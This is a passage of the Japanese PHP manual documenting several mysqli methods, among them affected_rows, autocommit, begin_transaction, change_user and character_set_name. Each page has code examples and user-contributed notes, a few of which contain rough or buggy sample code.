  • mysqli::change_user — 指定されたデータベース接続のユーザー名を変更する
  • mysqli::character_set_name — データベース接続のデフォルトの文字コードセットを返す
  • mysqli::close — 事前にオープンしているデータベース接続を閉じる
  • mysqli::commit — 現在のトランザクションをコミットする
  • mysqli::$connect_errno — 直近の接続コールに関するエラーコードを返す
  • mysqli::$connect_error — 直近の接続エラーの内容を文字列で返す
  • mysqli::__construct — 新規に MySQL サーバーへの接続をオープンする
  • mysqli::debug — デバッグ操作を行う
  • mysqli::dump_debug_info — デバッグ情報をログに出力する
  • mysqli::$errno — 直近の関数コールによるエラーコードを返す
  • mysqli::$error_list — 直近で実行したコマンドからのエラーの一覧を返す
  • mysqli::$error — 直近のエラーの内容を文字列で返す
  • mysqli::$field_count — 直近のクエリのカラムの数を返す
  • mysqli::get_charset — 文字セットオブジェクトを返す
  • mysqli::$client_info — MySQL クライアント情報を取得する
  • mysqli::$client_version — MySQL クライアントのバージョンを整数値で返す
  • mysqli::get_connection_stats — クライアント接続に関する統計情報を返す
  • mysqli::$host_info — 使用している接続の型を文字列で返す
  • mysqli::$protocol_version — 使用している MySQL プロトコルのバージョンを返す
  • mysqli::$server_info — MySQL サーバーのバージョンを返す
  • mysqli::$server_version — MySQL サーバーのバージョンを整数値で返す
  • mysqli::get_warnings — SHOW WARNINGS の結果を取得する
  • mysqli::$info — 直近に実行されたクエリの情報を取得する
  • mysqli::init — MySQLi を初期化し、mysqli_real_connect() で使うオブジェクトを返す
  • mysqli::$insert_id — 直近のクエリで使用した自動生成の ID を返す
  • mysqli::kill — サーバーに MySQL スレッドの停止を問い合わせる
  • mysqli::more_results — マルチクエリからの結果がまだ残っているかどうかを調べる
  • mysqli::multi_query — データベース上でクエリを実行する
  • mysqli::next_result — multi_query の、次の結果を準備する
  • mysqli::options — オプションを設定する
  • mysqli::ping — サーバーとの接続をチェックし、もし切断されている場合は再接続を試みる
  • mysqli::poll — 接続を問い合わせる
  • mysqli::prepare — 実行するための SQL文 を準備する
  • mysqli::query — データベース上でクエリを実行する
  • mysqli::real_connect — mysql サーバーとの接続をオープンする
  • mysqli::real_escape_string — 接続の現在の文字セットを考慮して、SQL 文で使用する文字列の特殊文字をエスケープする
  • mysqli::real_query — SQL クエリを実行する
  • mysqli::reap_async_query — 非同期クエリから結果を取得する
  • mysqli::refresh — リフレッシュする
  • mysqli::release_savepoint — 現在のトランザクションのセーブポイント群から、指定した名前のセーブポイントを削除する
  • mysqli::rollback — 現在のトランザクションをロールバックする
  • mysqli::savepoint — トランザクションのセーブポイントを設定する
  • mysqli::select_db — クエリを実行するためのデフォルトのデータベースを選択する
  • mysqli::set_charset — クライアントのデフォルト文字セットを設定する
  • mysqli::$sqlstate — 直前の MySQL の操作での SQLSTATE エラーを返す
  • mysqli::ssl_set — SSL を使用したセキュアな接続を確立する
  • mysqli::stat — 現在のシステム状態を取得する
  • mysqli::stmt_init — ステートメントを初期化し、mysqli_stmt_prepare で使用するオブジェクトを返す
  • mysqli::store_result — 直近のクエリから結果セットを転送する
  • mysqli::$thread_id — 現在の接続のスレッド ID を返す
  • mysqli::thread_safe — スレッドセーフであるかどうかを返す
  • mysqli::use_result — 結果セットの取得を開始する
  • mysqli::$warning_count — 指定した接続の直近のクエリから発生した警告の数を返す

User Contributed Notes

There are no user contributed notes for this page.


直前の MySQL の操作で変更された行の数を得る

  • ≪ mysqli
  • mysqli::autocommit ≫
  • PHP Manual
  • mysqli
  • 直前の MySQL の操作で変更された行の数を得る

mysqli::$affected_rows

mysqli_affected_rows

(PHP 5, PHP 7)

mysqli::$affected_rows -- mysqli_affected_rows — 直前の MySQL の操作で変更された行の数を得る

説明

オブジェクト指向型

int $mysqli->affected_rows;

手続き型

mysqli_affected_rows ( mysqli $link ) : int

直近の INSERT、 UPDATE、REPLACE あるいは DELETE クエリにより変更された行の数を返します。

SELECT 文の場合は、mysqli_affected_rows() は mysqli_num_rows() と同じように動作します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

正の整数が返された場合、それは変更された行数かあるいは取得された行数を 示します。ゼロが返された場合、それは UPDATE 文でレコードが更新されなかったか WHERE 条件に当てはまる行がなかった、またはクエリが実行されなかったことを 示します。-1 は、クエリがエラーを返したことを示します。

注意:

変更された行数が整数型の最大値 (PHP_INT_MAX) をこえた場合、 結果の行数は文字列として返されます。

例

例1 $mysqli->affected_rows の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* 行を挿入します */
$mysqli->query("CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", $mysqli->affected_rows);

$mysqli->query("ALTER TABLE Language ADD Status int default 0");

/* 行を更新します */
$mysqli->query("UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", $mysqli->affected_rows);

/* 行を削除します */
$mysqli->query("DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", $mysqli->affected_rows);

/* すべての行を選択します */
$result = $mysqli->query("SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", $mysqli->affected_rows);

$result->close();

/* Language テーブルを削除します */
$mysqli->query("DROP TABLE Language");

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

if (!$link) {
    printf("Can't connect to localhost. Error: %s\n", mysqli_connect_error());
    exit();
}

/* 行を挿入します */
mysqli_query($link, "CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", mysqli_affected_rows($link));

mysqli_query($link, "ALTER TABLE Language ADD Status int default 0");

/* 行を更新します */
mysqli_query($link, "UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", mysqli_affected_rows($link));

/* 行を削除します */
mysqli_query($link, "DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", mysqli_affected_rows($link));

/* すべての行を選択します */
$result = mysqli_query($link, "SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", mysqli_affected_rows($link));

mysqli_free_result($result);

/* Language テーブルを削除します */
mysqli_query($link, "DROP TABLE Language");

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Affected rows (INSERT): 984
Affected rows (UPDATE): 168
Affected rows (DELETE): 815
Affected rows (SELECT): 169

参考

  • mysqli_num_rows() - 結果の行数を取得する
  • mysqli_info() - 直近に実行されたクエリの情報を取得する

User Contributed Notes

Jacques Amar 10-Apr-2017 04:07
While using prepared statements, even if there is no result set (Like in an UPDATE or DELETE), you still need to store the results before affected_rows returns the actual number:

<?php
$del_stmt->execute();
$del_stmt->store_result();
$count = $del_stmt->affected_rows;
?>

Otherwise things will just be frustrating ..
anonymous 04-Dec-2015 10:48
This may seem obvious, but if you do an UPDATE with each of the values in your SET clause having the exact same value that is already in the table, then affected_rows returns 0.  For example:

<?php
    $mysqli = new mysqli($host, $usr, $pwd, $db, $port);
    $appointment_date = "2015-12-07";
    $sql = "update appointments set appointment_date = ? where appointment_id = 78";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s",$appointment_date);
    $stmt->execute();
    echo $mysqli ->affected_rows . "<br>";
?>

This returns 1 the first time I run it after changing the value of the $appointment_date variable.  When I run it a second time (making no changes), it returns 0.  I also verified the same behavior without using prepared statements.
Michael 15-Nov-2014 06:35
If you need to know specifically whether the WHERE condition of an UPDATE operation failed to match rows, or that simply no rows required updating you need to instead check mysqli::$info.

As this returns a string that requires parsing, you can use the following to convert the results into an associative array.

Object oriented style:

<?php
    preg_match_all ('/(\S[^:]+): (\d+)/', $mysqli->info, $matches);
    $info = array_combine ($matches[1], $matches[2]);
?>

Procedural style:

<?php
    preg_match_all ('/(\S[^:]+): (\d+)/', mysqli_info ($link), $matches);
    $info = array_combine ($matches[1], $matches[2]);
?>

You can then use the array to test for the different conditions

<?php
    if ($info ['Rows matched'] == 0) {
        echo "This operation did not match any rows.\n";
    } elseif ($info ['Changed'] == 0) {
        echo "This operation matched rows, but none required updating.\n";
    }

    if ($info ['Changed'] < $info ['Rows matched']) {
        echo ($info ['Rows matched'] - $info ['Changed'])." rows matched but were not changed.\n";
    }
?>

This approach can be used with any query that mysqli::$info supports (INSERT INTO, LOAD DATA, ALTER TABLE, and UPDATE), for other any queries it returns an empty array.

For any UPDATE operation the array returned will have the following elements:

Array
(
    [Rows matched] => 1
    [Changed] => 0
    [Warnings] => 0
)
fastest963 at gmail dot com 10-Jun-2014 05:50
empty($db->affected_rows) will return TRUE even if affected_rows is greater than 0. Manually check < 1 if you're looking for failure.
ric at xpellshop dot com 10-Jul-2011 11:54
"Zero indicates that no records where updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed."

what if i need to know which one of the three occurred? It's dumb that there is no distinction between the three.
Anonymous 18-Feb-2011 02:50
On "INSERT INTO ON DUPLICATE KEY UPDATE" queries, though one may expect affected_rows to return only 0 or 1 per row on successful queries, it may in fact return 2.

From Mysql manual: "With ON DUPLICATE KEY UPDATE, the affected-rows value per row is 1 if the row is inserted as a new row and 2 if an existing row is updated."

See: http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html

Here's the sum breakdown _per row_:
+0: a row wasn't updated or inserted (likely because the row already existed, but no field values were actually changed during the UPDATE)
+1: a row was inserted
+2: a row was updated
djnigelharkness at yahoo dot com 12-May-2010 05:42
<?php
    $gHostName    ="localhost";
    $gUserName    ="root";
    $gPassword    ="mypassword";
    $gDBName     ="dbName";
    $mysqli = new mysqli($gHostName, $gUserName, $gPassword,
            $gDBName);

    $username="username";    $email="user@xxx.edu";
    $password="3442f6e94a733237a3e844f0286b92f559bf794d";

    //insert
//    $stmt = $mysqli->prepare("INSERT INTO j_user
        (username,email,password) VALUES (?, ?, ?)");
//    $stmt->bind_param('sss',$username, $email, $password);
//    $stmt->execute();
//    $stmt->close();

    //delete
//    $stmt = $mysqli->prepare("DELETE FROM j_user WHERE
                        username=?");
//    $stmt->bind_param('s',$username);
//    $stmt->execute();
//    $stmt->close();

    //update
//    $stmt = $mysqli->prepare("UPDATE j_user SET email=? WHERE
                        username='wjw6349'");
//    $stmt->bind_param('s',$email);
//    $stmt->execute();
//    $stmt->close();

    if ($mysqli->connect_error){
        echo("Connect failed: ".mysqli_connect_error()); exit();
    }

    $querySelect = "SELECT * FROM j_user";
    $resultSet = $mysqli->query($querySelect);

    if($resultSet->num_rows > 0){
        while($row = $resultSet->fetch_assoc()){
            foreach($row as $fieldValue){
                $bigString .= "<em>$fieldValue</em><br />\n";
            }
            $bigString .= "<hr />";
        }
        $mysqli->close();
        echo $bigString;
    }

    function __autoload($className) {
        require_once $className.'.class.php';
    }
    //start the session and create it
    session_start();
    $_SESSION['name'] = $_POST['username']."_".time();
    //encrypt the password
    sha1($_POST['password']) == $password
    header("Location:admin.php");
    //check if the session is set
    session_start();
    if (isset($_SESSION['name'])) { }
?>
oilpc at oilpc dot com 14-Nov-2009 10:06
For "INSERT" or "UPDATE" statement for modifying data contained in one row of one table I checked if number of affected rows equals 1 to determine success of the operation. It works fine both for errors and false value of WHERE condition (that might be generated according to specific application user acces privileges).
<?php
if ($mysqli->affected_rows==1){
    echo "success";
}
else {
    echo "fail";
}
?>

Checking if mysqli->affected_rows will equal -1 or not is not a good method of determining success of "INSERT IGNORE" statements. Example: Ignoring duplicate key errors while inserting some rows containing data provided by user only if they will match specified unique constraint causes returning of -1 value by mysqli->affected_rows even if rows were inserted. (checked on MySQL 5.0.85 linux and php 5.2.9-2 windows). However mysqli->sqlstate returns no error if statement was executed successfully.
<?php
if ($mysqli->affected_rows!=-1){
    echo "success";// for "INSERT IGNORE" statements will not occur if there were any duplicate key errors ignored during execution of the query
}
else {
    echo "fail";// "INSERT IGNORE" statements causing any duplicate key errors (however ignored) lead to mysqli->affected_rows equal -1
}

// Example below works for "INSERT IGNORE" stattements, too
if ($mysqli->sqlstate=="00000"){
    echo "success";
}
else {
    echo "fail";
}
?>


データベース更新の自動コミットをオンまたはオフにする

  • ≪ mysqli::$affected_rows
  • mysqli::begin_transaction ≫
  • PHP Manual
  • mysqli
  • データベース更新の自動コミットをオンまたはオフにする

mysqli::autocommit

mysqli_autocommit

(PHP 5, PHP 7)

mysqli::autocommit -- mysqli_autocommit — データベース更新の自動コミットをオンまたはオフにする

説明

オブジェクト指向型

public mysqli::autocommit ( bool $mode ) : bool

手続き型

mysqli_autocommit ( mysqli $link , bool $mode ) : bool

指定されたデータベース接続リソースに対するクエリの 自動コミットモードをオンまたはオフにします。

現在の自動コミットモードを知るには、SQL コマンド SELECT @@autocommit を使用します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

mode

自動コミットを有効にするかどうか。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、トランザクションに 対応していないテーブル型（MyISAM あるいは ISAM など）では 動作しません。

例

例1 mysqli::autocommit() の例

オブジェクト指向型

<?php
/* Tell mysqli to throw an exception if an error occurs */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* The table engine has to support transactions */
$mysqli->query("CREATE TABLE IF NOT EXISTS language (
    Code text NOT NULL,
    Speakers int(11) NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Turn autocommit off */
$mysqli->autocommit(false);

$result = $mysqli->query("SELECT @@autocommit");
$row = $result->fetch_row();
printf("Autocommit is %s\n", $row[0]);

try {
    /* Prepare insert statement */
    $stmt = $mysqli->prepare('INSERT INTO language(Code, Speakers) VALUES (?,?)');
    $stmt->bind_param('ss', $language_code, $native_speakers);

    /* Insert some values */
    $language_code = 'DE';
    $native_speakers = 50_123_456;
    $stmt->execute();
    $language_code = 'FR';
    $native_speakers = 40_546_321;
    $stmt->execute();

    /* Commit the data in the database. This doesn't set autocommit=true */
    $mysqli->commit();
    print "Committed 2 rows in the database\n";

    $result = $mysqli->query("SELECT @@autocommit");
    $row = $result->fetch_row();
    printf("Autocommit is %s\n", $row[0]);

    /* Try to insert more values */
    $language_code = 'PL';
    $native_speakers = 30_555_444;
    $stmt->execute();
    $language_code = 'DK';
    $native_speakers = 5_222_444;
    $stmt->execute();

    /* Setting autocommit=true will trigger a commit */
    $mysqli->autocommit(true);

    print "Committed 2 row in the database\n";
} catch (mysqli_sql_exception $exception) {
    $mysqli->rollback();

    throw $exception;
}

手続き型

<?php

/* Tell mysqli to throw an exception if an error occurs */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

/* The table engine has to support transactions */
mysqli_query($mysqli, "CREATE TABLE IF NOT EXISTS language (
    Code text NOT NULL,
    Speakers int(11) NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Turn autocommit off */
mysqli_autocommit($mysqli, false);

$result = mysqli_query($mysqli, "SELECT @@autocommit");
$row = mysqli_fetch_row($result);
printf("Autocommit is %s\n", $row[0]);

try {
    /* Prepare insert statement */
    $stmt = mysqli_prepare($mysqli, 'INSERT INTO language(Code, Speakers) VALUES (?,?)');
    mysqli_stmt_bind_param($stmt, 'ss', $language_code, $native_speakers);

    /* Insert some values */
    $language_code = 'DE';
    $native_speakers = 50_123_456;
    mysqli_stmt_execute($stmt);
    $language_code = 'FR';
    $native_speakers = 40_546_321;
    mysqli_stmt_execute($stmt);

    /* Commit the data in the database. This doesn't set autocommit=true */
    mysqli_commit($mysqli);
    print "Committed 2 rows in the database\n";

    $result = mysqli_query($mysqli, "SELECT @@autocommit");
    $row = mysqli_fetch_row($result);
    printf("Autocommit is %s\n", $row[0]);

    /* Try to insert more values */
    $language_code = 'PL';
    $native_speakers = 30_555_444;
    mysqli_stmt_execute($stmt);
    $language_code = 'DK';
    $native_speakers = 5_222_444;
    mysqli_stmt_execute($stmt);

    /* Setting autocommit=true will trigger a commit */
    mysqli_autocommit($mysqli, true);

    print "Committed 2 row in the database\n";
} catch (mysqli_sql_exception $exception) {
    mysqli_rollback($mysqli);

    throw $exception;
}

上の例の出力は以下となります。

Autocommit is 0
Committed 2 rows in the database
Autocommit is 0
Committed 2 row in the database
Autocommit is 0
Committed 2 rows in the database
Autocommit is 0
Committed 2 row in the database

参考

  • mysqli_begin_transaction() - トランザクションを開始する
  • mysqli_commit() - 現在のトランザクションをコミットする
  • mysqli_rollback() - 現在のトランザクションをロールバックする

User Contributed Notes

jcwebb at dicoe dot com 11-Nov-2007 01:03
Just to be clear, autocommit not only turns on/off transactions, but will also 'commit' any waiting queries.
<?php
mysqli_autocommit($link, FALSE); // turn OFF auto
-some query 1;
-some query 2;
mysqli_commit($link); // process ALL queries so far
-some query 3;
-some query 4;
mysqli_autocommit($link, TRUE); // turn ON auto
?>
All 4 will be processed.
Geoffrey Thubron 12-May-2007 06:02
It's worth noting that you can perform transactions without disabling autocommit just using standard sql. "START TRANSACTION;" will start a transaction. "COMMIT;" will commit the results and "ROLLBACK;" will revert to the pre-transaction state.

CREATE TABLE and CREATE DATABASE (and probably others) are always commited immediately and your transaction appears to terminate. Thus any commands before and after will be commited, even if a subsequent rollback is attempted.

If you are in the middle of a transaction and you call mysqli_close() it appears that you get the funcitonality of an implicit rollback.

I can't reproduce the "code bug causes lock" problem outlined below (I always get a successful rollback and the script will run umtine times successfully). Therefore, I would suggest that the problem is fixed in php-5.2.2.
Glen 11-Mar-2007 12:22
I've found that if PHP exits due to a code bug during a transaction, an InnoDB table can remain locked until Apache is restarted.

The simple test is to start a transaction by setting $mysqli_obj->autocommit(false) and executing an insert statement.  Before getting to a $mysqli_obj->commit statement - have a runtime code bug bomb PHP.  You check the database, no insert happened (you assume a rollback occurred) .. and you go fix the bug, and try again... but this time the script takes about 50 seconds to timeout - the insert statement returning with a "1205 - Lock wait timeout exceeded; try restarting transaction".  No rollback occurred. And this error will not go away until you restart Apache - for whatever reason, the resources are not released until the process is killed.

I found that an 'exit', instead of a PHP code bug, will not cause a problem. So there is an auto-rollback mechanism in place - it just fails miserably when PHP dies unexpectantly. Having to restarting apache is a pretty drastic measure to overcome a code bug.

To avoid this problem, I use "register_shutdown_function()" when I start a transaction, and set a flag to indicate a transaction is in process (because there is no unregister_shutdown_function()). See below. So the __shutdown_check() routine (I beleive it needs to be public) is called when the script bombs - which is able to invoke the rollback().

these are just the relevant bits to give u an idea...

<?php

public function begin_transaction() {
  $ret = $this->mysqli_obj->autocommit(false);
  $this->transaction_in_progress = true;
  register_shutdown_function(array($this, "__shutdown_check"));
}

public function __shutdown_check() {
  if ($this->transaction_in_progress) {
    $this->rollback();
  }
}

public function commit() {
  $ret = $this->mysqli_obj->commit();
  $this->transaction_in_progress = false;
}

public function rollback() {
  $ret = $this->mysqli_obj->rollback();
  $this->transaction_in_progress = false;
}
?>

True for PHP 5.1.6 + MySQL 5.0.24a.
will at phpfever dot com 27-Apr-2006 01:22
If you are using the mysql command line tool, here are some helpful hints for the autocommit feature:

1.  To view the current autocommit setting, you can use this query: select @@autocommit;  It will return the current setting as 1 or 0 (on or off)

2. You can manage the default autocommit feature in you my.cnf or my.ini by adding the following line: init_connect='set autocommit=0'.  I'm pretty sure this isn't in the documentation, but it does work.

Here are the current engines, as of MySQL 5.1dev that support transactions:

InnoDB
BerkeleyDB
Falcon

Falcon is very new, so beware using it on production systems.


トランザクションを開始する

  • ≪ mysqli::autocommit
  • mysqli::change_user ≫
  • PHP Manual
  • mysqli
  • トランザクションを開始する

mysqli::begin_transaction

mysqli_begin_transaction

(PHP 5 >= 5.5.0, PHP 7)

mysqli::begin_transaction -- mysqli_begin_transaction — トランザクションを開始する

説明

オブジェクト指向型

public mysqli::begin_transaction ( int $flags = 0 , string $name = ? ) : bool

手続き型:

mysqli_begin_transaction ( mysqli $link , int $flags = 0 , string $name = ? ) : bool

トランザクションを開始します。InnoDB エンジン (デフォルトで有効になっています) が必要です。 MySQL のトランザクションの詳細な動作は、 » http://dev.mysql.com/doc/mysql/en/commit.html を参照ください。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

flags

以下のフラグが使えます。

  • MYSQLI_TRANS_START_READ_ONLY: "START TRANSACTION READ ONLY" でトランザクションを開始します。 MySQL 5.6 以上が必要です。

  • MYSQLI_TRANS_START_READ_WRITE: "START TRANSACTION READ WRITE" でトランザクションを開始します。 MySQL 5.6 以上が必要です。

  • MYSQLI_TRANS_START_WITH_CONSISTENT_SNAPSHOT: "START TRANSACTION WITH CONSISTENT SNAPSHOT" でトランザクションを開始します。

name

トランザクションのセーブポイント名。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、トランザクションに 対応していないテーブル型（MyISAM あるいは ISAM など）では 動作しません。

例

例1 mysqli::begin_transaction() の例

オブジェクト指向型

<?php

/* Tell mysqli to throw an exception if an error occurs */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* The table engine has to support transactions */
$mysqli->query("CREATE TABLE IF NOT EXISTS language (
    Code text NOT NULL,
    Speakers int(11) NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Start transaction */
$mysqli->begin_transaction();

try {
    /* Insert some values */
    $mysqli->query("INSERT INTO language(Code, Speakers) VALUES ('DE', 42000123)");

    /* Try to insert invalid values */
    $language_code = 'FR';
    $native_speakers = 'Unknown';
    $stmt = $mysqli->prepare('INSERT INTO language(Code, Speakers) VALUES (?,?)');
    $stmt->bind_param('ss', $language_code, $native_speakers);
    $stmt->execute();

    /* If code reaches this point without errors then commit the data in the database */
    $mysqli->commit();
} catch (mysqli_sql_exception $exception) {
    $mysqli->rollback();

    throw $exception;
}

手続き型

<?php

/* Tell mysqli to throw an exception if an error occurs */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

/* The table engine has to support transactions */
mysqli_query($mysqli, "CREATE TABLE IF NOT EXISTS language (
    Code text NOT NULL,
    Speakers int(11) NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Start transaction */
mysqli_begin_transaction($mysqli);

try {
    /* Insert some values */
    mysqli_query($mysqli, "INSERT INTO language(Code, Speakers) VALUES ('DE', 42000123)");

    /* Try to insert invalid values */
    $language_code = 'FR';
    $native_speakers = 'Unknown';
    $stmt = mysqli_prepare($mysqli, 'INSERT INTO language(Code, Speakers) VALUES (?,?)');
    mysqli_stmt_bind_param($stmt, 'ss', $language_code, $native_speakers);
    mysqli_stmt_execute($stmt);

    /* If code reaches this point without errors then commit the data in the database */
    mysqli_commit($mysqli);
} catch (mysqli_sql_exception $exception) {
    mysqli_rollback($mysqli);

    throw $exception;
}
?>

参考

  • mysqli_autocommit() - データベース更新の自動コミットをオンまたはオフにする
  • mysqli_commit() - 現在のトランザクションをコミットする
  • mysqli_rollback() - 現在のトランザクションをロールバックする

User Contributed Notes

PHP Guru 04-Apr-2020 05:36
MySQL 5.6 introduces READ ONLY mode which applies optimizations to your transactions that can only be applied when it knows in advance that no table modifications will be made and that no locks will be issued.

The default access mode is READ WRITE in all versions up to and including MySQL 5.6. Starting in MySQL 5.7, the appropriate access mode is detected automatically. So if your transaction attempts modifications or table locks, it will automatically use READ WRITE mode, otherwise it will use READ ONLY mode and your transaction will benefit from the optimizations that come from that without having to explicitly declare is as READ ONLY.

Therefore the only time you need to explicitly declare an access mode is when you are using MySQL 5.6 and you are sure that you want READ ONLY mode. Note that any queries that attempt to modify tables or issue locks in READ ONLY mode will fail. Temporary tables can still be modified.

(Moderators. This post should replace the previous post that I made on the subject. Thanks.)
VasK@hapir 15-Dec-2018 03:25
The above answer from Ral worked for us, Thanks a lot. This is how we implemented the proposed workaround for

Warning: mysqli_begin_transaction(): This server version doesn't support 'READ WRITE' and 'READ ONLY'. Minimum 5.6.5 is required

We appended the following line to /etc/my.cnf and restarted MySQL server

version=10.2.19-MariaDB
Ral 29-May-2018 05:44
If you receive errors like: "This server version doesn't support 'READ WRITE' and 'READ ONLY'. Minimum 5.6.5 is required" with versions of MariaDB that DO support them, this is due to an internal check in mysqli conflicting with a hack in MariaDB to allow replication with oracle mysql.

MariaDB prefixes its server version numbers with "5.5.5-" for example "5.5.5-10.3.7-MariaDB-1:10.3.7+maria~stretch". This is because oracle mysql would interpet the "10" as version 1. Mysql clients aware of MariaDB have been updated to detect and strip this prefix.

However the check for mysqli.begin-transaction sees the 5.5.5 prefix and so fails.

The workaround is to specify a custom version string without the prefix for MariaDB on the command line using the --version option. Then mysqli.begin-transaction functions as expected.
Luc 20-Sep-2016 02:28
For PHP<5.5:

    mysqli_query($db, "START TRANSACTION");


指定されたデータベース接続のユーザー名を変更する

  • ≪ mysqli::begin_transaction
  • mysqli::character_set_name ≫
  • PHP Manual
  • mysqli
  • 指定されたデータベース接続のユーザー名を変更する

mysqli::change_user

mysqli_change_user

(PHP 5, PHP 7)

mysqli::change_user -- mysqli_change_user — 指定されたデータベース接続のユーザー名を変更する

説明

オブジェクト指向型

public mysqli::change_user ( string $user , string $password , string $database ) : bool

手続き型

mysqli_change_user ( mysqli $link , string $user , string $password , string $database ) : bool

指定されたデータベース接続のユーザー名を変更し、 現在のデータベースを設定します。

ユーザーを正しく変更するには、username と password 引数を正しく渡す必要があります。 またそのユーザーが対象のデータベースに対する適切なパーミッションを 持っている必要があります。どんな理由であれ、認証に失敗するとカレントユーザーの 認証が継続されます。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

user

MySQL のユーザー名。

password

MySQL のパスワード。

database

変更するデータベース。

引数には null 値を渡すこともできます。 その場合ユーザーの変更だけでデータベースの選択はされません。 そのようなケースでデータベースを選択したい場合には mysqli_select_db() 関数を使用してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

このコマンドを使用すると、常に、カレントのデータベース接続は あたかも完全に新しいデータベース接続であるかのようになります。 これにより、全てのアクティブなトランザクションはロールバックされ、 一時テーブルは全てクローズされ、ロックされたテーブルはすべて 開放されます。

例

例1 mysqli::change_user() の例

オブジェクト指向型

<?php

/* データベース test に接続します */
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* 接続をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* 変数 a を設定します */
$mysqli->query("SET @a:=1");

/* すべてをリセットし、新しいデータベースを選択します */
$mysqli->change_user("my_user", "my_password", "world");

if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("デフォルトデータベース: %s\n", $row[0]);
    $result->close();
}

if ($result = $mysqli->query("SELECT @a")) {
    $row = $result->fetch_row();
    if ($row[0] === NULL) {
        printf("変数 a の値は NULL\n");
    }
    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
/* データベース test に接続します */
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* 接続をチェックします */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* 変数 a を設定します */
mysqli_query($link, "SET @a:=1");

/* すべてをリセットし、新しいデータベースを選択します */
mysqli_change_user($link, "my_user", "my_password", "world");

if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("デフォルトデータベース: %s\n", $row[0]);
    mysqli_free_result($result);
}

if ($result = mysqli_query($link, "SELECT @a")) {
    $row = mysqli_fetch_row($result);
    if ($row[0] === NULL) {
        printf("変数 a の値は NULL\n");
    }
    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

デフォルトデータベース: world
変数 a の値は NULL

参考

  • mysqli_connect() - mysqli::__construct のエイリアス
  • mysqli_select_db() - クエリを実行するためのデフォルトのデータベースを選択する

User Contributed Notes

There are no user contributed notes for this page.


データベース接続のデフォルトの文字コードセットを返す

  • ≪ mysqli::change_user
  • mysqli::close ≫
  • PHP Manual
  • mysqli
  • データベース接続のデフォルトの文字コードセットを返す

mysqli::character_set_name

mysqli_character_set_name

(PHP 5, PHP 7)

mysqli::character_set_name -- mysqli_character_set_name — データベース接続のデフォルトの文字コードセットを返す

説明

オブジェクト指向型

public mysqli::character_set_name ( ) : string

手続き型

mysqli_character_set_name ( mysqli $link ) : string

データベース接続の現在の文字コードセットを返します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

現在の接続のデフォルト文字セットを返します。

例

例1 mysqli::character_set_name() の例

オブジェクト指向型

<?php
/* 接続をオープンします */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* 現在の文字セットを表示します */
$charset = $mysqli->character_set_name();
printf ("Current character set is %s\n", $charset);

$mysqli->close();
?>

手続き型

<?php
/* 接続をオープンします */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* 現在の文字セットを表示します */
$charset = mysqli_character_set_name($link);
printf ("Current character set is %s\n",$charset);

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Current character set is latin1_swedish_ci

参考

  • mysqli_set_charset() - クライアントのデフォルト文字セットを設定する
